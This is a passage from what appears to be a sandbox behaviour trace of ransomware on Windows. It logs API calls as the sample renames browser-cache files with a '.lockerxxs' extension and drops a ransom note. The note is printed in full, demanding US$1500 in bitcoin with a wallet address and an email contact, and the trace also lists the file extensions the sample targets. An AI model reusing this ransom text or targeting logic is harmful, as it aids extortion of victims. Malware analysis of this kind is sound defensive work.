halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm.lockerxxs")) returned 1 [0083.553] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55c14b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x55c14b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x55c14b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x911, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="th[1].jpg", cAlternateFileName="TH_1_~1.JPG")) returned 1 [0083.553] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.683] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="th[1].jpg") returned -1 [0083.683] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="th[1].jpg") returned -1 [0083.683] lstrcmpiA (lpString1="", lpString2="th[1].jpg") returned -1 [0083.683] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm") returned="thankyou[1].htm" [0083.687] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg") returned="th[1].jpg" [0083.687] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.699] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8eb, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8eb, lpOverlapped=0x0) returned 1 [0083.701] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.701] CloseHandle (hObject=0xa4) returned 1 [0083.701] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg.lockerxxs")) returned 1 [0083.702] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55c14b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x55c14b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x55c14b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x911, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="th[1].jpg", cAlternateFileName="TH_1_~1.JPG")) returned 0 [0083.702] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0083.702] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x54000, dwReserved0=0x507510, dwReserved1=0x3, cFileName="index.dat", cAlternateFileName="")) returned 1 [0083.702] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0083.702] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0083.702] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0083.702] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0083.702] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\*.*") returned="*.*" [0083.709] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat") returned="index.dat" [0083.712] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.712] WriteFile (in: hFile=0xa0, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x53fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x53fda, lpOverlapped=0x0) returned 1 [0083.714] SetFileTime (hFile=0xa0, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.714] CloseHandle (hObject=0xa0) returned 1 [0083.714] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\index.dat.lockerxxs")) returned 1 [0083.715] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="YG1R61Z8", cAlternateFileName="")) returned 1 [0083.715] lstrcmpA (lpString1=".", lpString2="YG1R61Z8") returned -1 [0083.715] lstrcmpA (lpString1="..", lpString2="YG1R61Z8") returned -1 [0083.715] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat") returned="index.dat" [0083.715] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\", lpString2="YG1R61Z8" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8" [0083.715] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8") returned 111 [0083.715] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502758 [0083.807] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0083.807] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0083.848] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0083.848] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0083.848] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe967230, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe967230, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x7f7e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", cAlternateFileName="0FF929~1.JPG")) returned 1 [0083.848] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.849] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg") returned 1 [0083.849] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg") returned 1 [0083.849] lstrcmpiA (lpString1="", lpString2="0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg") returned -1 [0083.849] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\*.*") returned="*.*" [0083.849] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.849] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.849] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.849] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0xffffffff [0083.850] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.851] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0083.851] WriteFile (in: hFile=0xa4, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0083.853] SetFileTime (hFile=0xa4, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0083.853] CloseHandle (hObject=0xa4) returned 1 [0083.853] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" [0083.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.ems") returned 0 [0083.853] lstrlenA (lpString="*.ems") returned 5 [0083.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.db") returned 0 [0083.853] lstrlenA (lpString="*.db") returned 4 [0083.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.dbf") returned 0 [0083.853] lstrlenA (lpString="*.dbf") returned 5 [0083.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.myox") returned 0 [0083.853] lstrlenA (lpString="*.myox") returned 6 [0083.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.myo") returned 0 [0083.853] lstrlenA (lpString="*.myo") returned 5 [0083.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.qbw") returned 0 [0083.853] lstrlenA (lpString="*.qbw") returned 5 [0083.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.qbb") returned 0 [0083.854] lstrlenA (lpString="*.qbb") returned 5 [0083.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.qbm") returned 0 [0083.854] lstrlenA (lpString="*.qbm") returned 5 [0083.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.qbo") returned 0 [0083.854] lstrlenA (lpString="*.qbo") returned 5 [0083.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.qbx") returned 0 [0083.854] lstrlenA (lpString="*.qbx") returned 5 [0083.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.qba") returned 0 [0083.854] lstrlenA (lpString="*.qba") returned 5 [0083.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.qby") returned 0 [0083.854] lstrlenA (lpString="*.qby") returned 5 [0083.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.qbj") returned 0 [0083.854] lstrlenA (lpString="*.qbj") returned 5 [0083.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.ofx") returned 0 [0083.854] lstrlenA (lpString="*.ofx") returned 5 [0083.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.qif") returned 0 [0083.854] lstrlenA (lpString="*.qif") returned 5 [0083.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.mye") returned 0 [0083.854] lstrlenA (lpString="*.mye") returned 5 [0083.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.mbox") returned 0 [0083.855] lstrlenA (lpString="*.mbox") returned 6 [0083.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.eml") returned 0 [0083.855] lstrlenA (lpString="*.eml") returned 5 [0083.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.pst") returned 0 [0083.855] lstrlenA (lpString="*.pst") returned 5 [0083.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.ost") returned 0 [0083.855] lstrlenA (lpString="*.ost") returned 5 [0083.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.idx") returned 0 [0083.855] lstrlenA (lpString="*.idx") returned 5 [0083.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.dbx") returned 0 [0083.855] lstrlenA (lpString="*.dbx") returned 5 [0083.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.sql") returned 0 [0083.856] lstrlenA (lpString="*.sql") returned 5 [0083.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.mdb") returned 0 [0083.856] lstrlenA (lpString="*.mdb") returned 5 [0083.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.fdb") returned 0 [0083.856] lstrlenA (lpString="*.fdb") returned 5 [0083.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.wab") returned 0 [0083.856] lstrlenA (lpString="*.wab") returned 5 [0083.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.dat") returned 0 [0083.856] lstrlenA (lpString="*.dat") returned 5 [0083.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.txt") returned 0 [0083.856] lstrlenA (lpString="*.txt") returned 5 [0083.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.jpeg") returned 0 [0083.856] lstrlenA (lpString="*.jpeg") returned 6 [0083.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", pszSpec="*.jpg") returned 1 [0083.857] lstrlenA (lpString="*.jpg") returned 5 [0083.857] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" [0083.857] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" [0083.857] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 